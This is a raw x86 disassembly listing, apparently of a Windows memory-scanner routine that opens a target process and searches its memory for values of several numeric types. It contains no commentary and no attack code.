sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x547349
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x547087
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x5470b9
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
sub al, 9
je 0x547075
sub al, 0x17
je 0x547075
jmp 0x5470b9
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, eax
lea eax, [ebp - 0x1c]
mov ecx, 1
call fcn.00405538
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x5470dc
mov eax, dword [ebp - 0x1c]
call fcn.00405298
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + eax - 1]
sub al, 9
je 0x5470a2
sub al, 0x17
je 0x5470a2
lea eax, [ebp - 0xbd0]
push eax
or ecx, 0xffffffff
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xbd0]
lea eax, [ebp - 0x1c]
call fcn.00405070
xor eax, eax
push ebp
push 0x547152
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
add eax, 0x4480
mov edx, dword [ebp - 0x1c]
call fcn.0040502c
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 1
mov eax, dword [ebp - 0x18]
call fcn.0052f718
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x28], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x547178
cmp dword [ebp - 0x28], 0
jge 0x54719a
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 1
lea eax, [ebp - 0x1c]
mov edx, 0x553974
call fcn.00405070
jmp 0x547331
mov dword [ebp - 0x14], 1
jmp 0x5471b9
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
cmp dword [edx + eax*8 - 4], 0
je 0x5471c9
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x5471a3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x5471f6
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
add eax, 0x6c
mov ecx, 1
mov edx, dword [0x52f36c]
call fcn.0040659c
add esp, 4
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 4], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048a5]
mov dword [edx + eax*8 + 8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048a9]
mov dword [edx + eax*8 + 0xc], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048ad]
mov dword [edx + eax*8 + 0x10], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048b1]
mov dword [edx + eax*8 + 0x14], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbd4]
call fcn.0040b668
push dword [ebp - 0xbd4]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbd8]
call fcn.0040b668
push dword [ebp - 0xbd8]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbdc]
call fcn.0040b668
push dword [ebp - 0xbdc]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x10]
lea edx, [ebp - 0xbe0]
call fcn.0040b57c
push dword [ebp - 0xbe0]
push 0x5539d4
lea eax, [ebp - 0x1c]
mov edx, 8
call fcn.00405358
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54736f
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x5473b9
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5473b6
mov bl, 1
jmp 0x547402
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x200]
jg 0x547402
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5473a5
test bl, bl
je 0x547698
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x54745e
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x54743e
dec al
je 0x547448
jmp 0x54744e
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x54744e
dec dword [ebp - 0x84]
test bl, bl
je 0x54745b
cmp dword [ebp - 0x84], 0
je 0x547469
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x54742a
lea eax, [ebp - 0xbe4]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0xbe4]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xbe8]
push eax
or ecx, 0xffffffff
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xbe8]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0xbec]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xbec]
call fcn.0040b6e8
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xbf0]
push eax
mov ecx, 0xfffffffe
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xbf0]
mov eax, dword [ebp - 0x18]
add eax, 0x4480
call fcn.0040502c
mov dword [ebp - 0x14], 1
jmp 0x547552
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 - 4]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
cmp edx, dword [esp + 4]
jne 0x54754b
cmp eax, dword [esp]
pop edx
pop eax
je 0x547562
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x54752a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jl 0x547689
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x10]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x1048ad], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x1048a5], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x1048a9], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x1048b1], eax
lea eax, [ebp - 0xbf4]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4480]
call fcn.00405298
mov edx, eax
sub edx, 3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4480]
mov ecx, 4
call fcn.004054f8
mov eax, dword [ebp - 0xbf4]
lea edx, [ebp - 0x1c]
call fcn.0040b05c
mov eax, dword [ebp - 0x1c]
mov edx, 0x553a18
call fcn.004053e4
jne 0x547636
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 1
jmp 0x54767f
mov eax, dword [ebp - 0x1c]
mov edx, 0x553a28
call fcn.004053e4
jne 0x547654
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 2
jmp 0x54767f
mov eax, dword [ebp - 0x1c]
mov edx, 0x553a38
call fcn.004053e4
jne 0x547672
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 3
jmp 0x54767f
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 1
mov eax, dword [ebp - 0x18]
call fcn.005309d0
jmp 0x5476a5
lea eax, [ebp - 0x1c]
mov edx, 0x5539b0
call fcn.00405070
jmp 0x5476a5
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x5476ec
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5476e9
mov bl, 1
jmp 0x547734
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x547734
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5476d8
test bl, bl
je 0x5484d1
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xbf8]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0xbf8]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
cmp dword [ebp - 0x28], 0
jle 0x548483
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d7b4
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xc00]
mov edx, dword [ebp - 0x18]
add edx, 0x1052c0
call fcn.0040523c
mov ecx, dword [ebp - 0xc00]
lea eax, [ebp - 0xbfc]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xbfc]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xc08]
mov edx, dword [ebp - 0x18]
add edx, 0x1053c0
call fcn.0040523c
mov ecx, dword [ebp - 0xc08]
lea eax, [ebp - 0xc04]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc04]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0xc10]
mov edx, dword [ebp - 0x18]
add edx, 0x1054c0
call fcn.0040523c
mov eax, dword [ebp - 0xc10]
lea edx, [ebp - 0xc0c]
call fcn.0040b05c
mov edx, dword [ebp - 0xc0c]
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
call fcn.0040502c
lea eax, [ebp - 0x14c]
mov edx, dword [ebp - 0x18]
add edx, 0x1055c0
call fcn.0040523c
lea eax, [ebp - 0xc14]
push eax
lea eax, [ebp - 0xc1c]
mov edx, dword [ebp - 0x18]
add edx, 0x1056c0
call fcn.0040523c
mov ecx, dword [ebp - 0xc1c]
lea eax, [ebp - 0xc18]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc18]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xc14]
mov edx, 0x64
call fcn.0040b724
mov dword [ebp - 0x14], eax
mov edx, 0x63
mov eax, dword [ebp - 0x148]
call fcn.0040b724
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0xc20]
push eax
lea eax, [ebp - 0xc28]
mov edx, dword [ebp - 0x18]
add edx, 0x1057c0
call fcn.0040523c
mov ecx, dword [ebp - 0xc28]
lea eax, [ebp - 0xc24]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xc24]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xc20]
xor edx, edx
call fcn.0040b724
mov dword [ebp - 0x134], eax
mov byte [ebp - 0x249], 0
mov word [ebp - 0x24c], 0
xor eax, eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], eax
xor eax, eax
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0
xor eax, eax
mov dword [ebp - 0x258], eax
xor eax, eax
mov dword [ebp - 0x260], eax
mov word [ebp - 0x25c], ax
mov byte [ebp - 0x251], 0
mov byte [ebp - 0x89c], 0
xor ebx, ebx
mov eax, dword [ebp - 0x14c]
call fcn.00405298
cmp eax, 2
jl 0x5479e9
mov eax, dword [ebp - 0x14c]
cmp byte [eax], 0x25
jne 0x5479e9
mov eax, dword [ebp - 0x14c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x14c]
mov ecx, 1
mov edx, 1
call fcn.00405538
push 0
push 0
mov ecx, dword [ebp - 0x14c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x70], eax
mov bl, 1
test bl, bl
jne 0x5479f1
xor eax, eax
jmp 0x5479f3
mov al, 1
mov ebx, eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
movzx eax, byte [eax]
add eax, 0xffffff9e
cmp eax, 0x15
ja case.0x547a13.98
mov al, byte [eax + 0x547a1a]
jmp dword [eax*4 + 0x547a30]
mov edx, 0x11
mov eax, dword [ebp - 328]
call fcn.0040b724
mov byte [ebp - 0x249], al
jmp 0x547bb0
mov edx, 0x1111
mov eax, dword [ebp - 0x148]
call fcn.0040b724
mov word [ebp - 0x24c], ax
jmp 0x547bb0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
call fcn.00405298
dec eax
jle 0x547ace
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
cmp byte [eax + 1], 0x6f
jne 0x547ace
push 0x3fff
push 0x80000000
push 0
mov eax, dword [ebp - 0x148]
call fcn.0040d224
fstp qword [ebp - 0x268]
wait
jmp 0x547bb0
mov edx, 0x11111111
mov eax, dword [ebp - 0x148]
call fcn.0040b724
mov dword [ebp - 0x250], eax
jmp 0x547bb0
mov edx, 0x63
mov eax, dword [ebp - 0x148]
call fcn.0040b724
cdq
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
jmp 0x547bb0
push 0x3fff
push 0x80000000
push 0
mov eax, dword [ebp - 0x148]
call fcn.0040d224
fstp dword [ebp - 0x258]
wait
jmp 0x547bb0
push 0x3fff
push 0x80000000
push 0
mov eax, dword [ebp - 0x148]
call fcn.0040d224
lea eax, [ebp - 0x260]
call fcn.00403fa4
jmp 0x547bb0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jle 0x547b71
mov eax, dword [ebp - 0x148]
mov al, byte [eax]
mov byte [ebp - 0x251], al
jmp 0x547bb0
mov byte [ebp - 0x251], 0x65
jmp 0x547bb0
lea eax, [ebp - 0xc2c]
push eax
mov ecx, 0xff
mov edx, 1
mov eax, dword [ebp - 0x148]
call fcn.004054f8
mov edx, dword [ebp - 0xc2c]
lea eax, [ebp - 0x89c]
mov ecx, 0xff
call fcn.00405274
jmp 0x547bb0
xor ebx, ebx
test bl, bl
je 0x548474
cmp dword [ebp - 0x134], 0
je 0x548465
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0x638
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x134], eax
xor eax, eax
push ebp
push 0x548440
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x84], 1
xor eax, eax
mov al, byte [ebp - 0x89c]
mov dword [ebp - 0x68], eax
jmp 0x548402
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne 0x548426
cmp dword [ebp - 0x77c], 0x1000
jne 0x5483e5
mov eax, dword [ebp - 0x778]
and eax, 0x100
cmp eax, 0x100
je 0x5483e5
mov eax, dword [ebp - 0x780]
call fcn.00402a68
mov dword [ebp - 0xa4], eax
xor eax, eax
push ebp
push 0x5483c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x780]
xor edx, edx
push edx
push eax
lea ecx, [ebp - 0x280]
mov edx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x134]
call fcn.0052e524
cmp dword [ebp - 0x27c], 0
jne 0x547cb7
cmp dword [ebp - 0x280], 0
jbe 0x5483ac
jmp 0x547cbd
jle 0x5483ac
mov eax, dword [0x5903e0]
mov eax, dword [eax]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x104534], eax
lea edx, [ebp - 0x4c]
movzx eax, word [ebp - 0x24c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
movzx eax, byte [eax]
add eax, 0xffffff9e
cmp eax, 0x15
ja case.0x547cfa.98
mov al, byte [eax + 0x547d01]
jmp dword [eax*4 + 0x547d17]
mov eax, dword [ebp - 0x280]
dec eax
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov al, byte [eax]
cmp al, byte [ebp - 0x249]
jne 0x547dcd
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc30]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc30]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x547d59
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 2
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov ax, word [eax]
cmp ax, word [ebp - 0x24c]
jne 0x547e73
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc34]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc34]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x547dfd
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 8
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov eax, dword [eax]
xor edx, edx
cmp edx, dword [ebp - 0x26c]
jne 0x547f25
cmp eax, dword [ebp - 0x270]
jne 0x547f25
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc38]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc38]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x547ea7
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
call fcn.00405298
dec eax
jle 0x54800c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
cmp byte [eax + 1], 0x6f
jne 0x54800c
mov eax, dword [ebp - 0x280]
sub eax, 8
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
fld qword [eax]
fcomp qword [ebp - 0x268]
fnstsw ax
sahf
jne 0x547ff8
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc3c]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc3c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x547f81
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 4
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
mov eax, dword [eax]
cmp eax, dword [ebp - 0x250]
jne 0x5480a0
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc40]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc40]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x54802c
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 4
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
fld dword [eax]
fcomp dword [ebp - 0x258]
fnstsw ax
sahf
jne 0x548147
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc44]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc44]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x70]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
inc dword [ebp - 0x28]
dec dword [ebp - 0x2a4]
jne 0x5480d0
jmp case.0x547cfa.98
mov eax, dword [ebp - 0x280]
sub eax, 6
dec eax
test eax, eax
jl case.0x547cfa.98
inc eax
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
jne case.0x547cfa.98
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x28]
add eax, edx
call fcn.00403f74
fstp xword [ebp - 0xc50]
wait
lea eax, [ebp - 0x260]
call fcn.00403f74
fld xword [ebp - 0xc50]
fcompp
fnstsw ax
sahf
jne 0x548209
push 0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78c]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
lea ecx, [ebp - 0xc54]
mov edx, 8
call fcn.0040b690
mov eax, dword [ebp - 0xc54]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
